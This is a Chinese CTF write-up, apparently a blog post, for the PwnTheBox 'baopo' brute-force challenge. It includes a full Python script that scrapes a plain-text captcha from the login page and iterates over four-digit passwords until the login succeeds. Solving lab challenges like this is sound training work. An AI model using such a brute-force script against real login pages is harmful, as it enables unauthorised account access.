writeup PwnTheBox baopo

题目描述:
在这里插入图片描述
根据题目,知道本题考察点为爆破。

在这里插入图片描述
打开靶机,发现一个登录界面,随便登陆一下,告诉了我们用户名,且验证码为纯文本,且在响应数据包中可直接获取。那么只需要爆破密码就行,
在这里插入图片描述

PS:经过测试,验证码由服务器生成,每次动态改变,burp爆破验证码这里有点不懂,遂直接用python实现,有了解的可以评论区告诉我一下。

F12大法好,一下发现两个关键点,验证码密码格式
所以下面分为两步:

  1. 从数据包中解析出验证码
  2. 发包进行爆破

解析验证码的代码如下:

def get_code(response):
	#考虑到里面有很多br标签,便使用标签的括号,匹配其中的五个字符
    pattern1 = re.compile(r">[0-9a-z]{5}<")
    code_ = pattern1.findall(str(response.text))
    #再从中提取出验证码
    pattern = re.compile(r"[0-9a-z]{5}")
    code = pattern.findall(str(code_))
    code = str(code[0])
    return code

爆破就比较简单了,通过分析数据包,发现请求格式为:https://xxxxxxxx.do-not-trust.hacking.run/index.php?username=admin&password=1234&randcode=68e8e
我们只需要拼接验证码进来,并且将密码修改为四位纯数字进行爆破。
完整代码如下:

import requests
import re

def get_code(response):
    pattern1 = re.compile(r">[0-9a-z]{5}<")
    code_ = pattern1.findall(str(response.text))
    pattern = re.compile(r"[0-9a-z]{5}")
    code = pattern.findall(str(code_))
    code = str(code[0])
    return code

def find_success(response):
    data = '密码错误'
    try:
        result = re.search(r'密码错误',response.text).group(0)
        if result==data:
            return False
        else:
            return True
    except:
        return True

for passwd in range(0000,9999):
    req = requests.session()
    url = 'https://277xxxxxxxxxxxxx.do-not-trust.hacking.run/'
    r = req.get(url)
    code = get_code(r)
    password = "%04d" % passwd
    password = str(password)
    path = '/index.php?username=admin&password='+password+'&randcode='+code
    url2 = url+path
    rev = req.get(url2)
    if find_success(rev):
        print("Password: ",password)
        print("Received: ",rev.text)
        break

运行之后,爆破出结果会直接输出响应包内容和正确密码,如下:
在这里插入图片描述

可以去尝试登陆,也能get到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kinnisoy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值